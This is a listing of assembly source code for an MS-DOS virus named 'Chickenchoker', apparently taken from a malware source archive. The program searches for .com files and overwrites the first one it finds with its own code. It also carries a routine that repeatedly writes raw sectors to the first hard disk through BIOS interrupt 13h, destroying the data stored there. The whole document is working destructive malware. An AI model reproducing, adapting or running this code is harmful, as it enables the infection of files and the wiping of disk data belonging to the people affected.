MalwareSourceCode/MSDOS/C-Index/Virus.MSDOS.Unknown.chchoke.asm

58 lines
656 B
NASM
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2022-08-21 09:07:57 +00:00
Code Segment
Assume CS:code,DS:code
Org 100h
startvx proc near
mov ah,4eh
mov cx,0000h
mov dx,offset star_com
int 21h
mov ah,3dh
mov al,02h
mov dx,9eh
int 21h
xchg bx,ax
mov ah,40h
mov cx,offset endvx - offset startvx
mov dx,offset startvx
int 21h
mov ah,3eh
int 21h
int 20h
szTitleName db' Chickenchoker Virus by hdkiller has been activated'
rip_hd:
xor dx,dx
rip_hd1:
mov cx,2
mov ax,311h
mov dl,80h
mov bx,5000h
mov es,bx
int 13h
jae rip_hd2
xor ah,ah
int 13h
rip_hd2:
inc dh
cmp dh,4
jb rip_hd1
inc ch
jmp rip_hd
startvx endp
star_com: db "*.com",0
endvx label near
code ends
2021-01-12 23:34:47 +00:00
end startvx